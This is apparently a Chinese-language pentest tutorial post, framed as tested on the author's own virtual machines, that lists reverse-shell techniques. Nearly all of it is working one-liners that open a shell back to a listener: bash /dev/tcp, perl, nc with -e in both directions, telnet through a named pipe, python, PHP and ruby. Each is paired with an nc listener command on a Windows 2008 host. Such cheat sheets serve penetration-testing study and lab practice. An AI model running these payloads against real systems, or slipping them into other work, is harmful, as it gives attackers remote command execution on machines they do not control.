内网Shell反弹

内网shell反弹的各种姿势:

以下仅在自己虚拟机上进行测试。

  1. bash

在win2008上使用nc监听8888端口

nc.exe -lvvp 8888

在kali上执行下列命令

bash -i >& /dev/tcp/192.168.16.128/8888 0>&1

此时win2008已经获取到bash

2.perl

在win2008上使用nc监听8888端口

nc.exe -lvvp 8888

在kali执行下列命令:

perl -e 'use Socket;$i="192.168.16.128";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

此时win2008已经获取到bash

3.nc正向连接

在kali上执行下列命令:

nc -lvvp 8888 -e /bin/bash

在win2008上连接8888端口

nc.exe -vv 192.168.31.143 8888

nc反向连接

在win2008上使用nc监听8888端口

nc.exe -lvvp 8888

在kali上执行

nc -vv 192.168.31.147 8888 -e /bin/bash

此时win2008已经获取到权限

4.telnet

在win2008上使用nc监听8888端口

nc.exe -lvvp 8888

在kali上执行下列命令:

mknod backpipe p && telnet 192.168.31.147 8888 0<backpipe | /bin/bash 1>backpipe

此时win2008已经获取到权限

5.python

在win2008上使用nc监听8888端口

nc.exe -lvvp 8888

在kali上执行下列命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.147",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

此时win2008已经获取权限:

6.PHP

在win2008上使用nc监听8888端口

nc.exe -lvvp 8888

在kali执行下列命令:

php -r '$sock=fsockopen("192.168.31.147",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

此时win2008已经获取到权限:

7.ruby

在win2008上使用nc监听8888端口

nc.exe -lvvp 8888

在kali上执行下列命令:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.31.147","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

此时win2008已经获取到权限: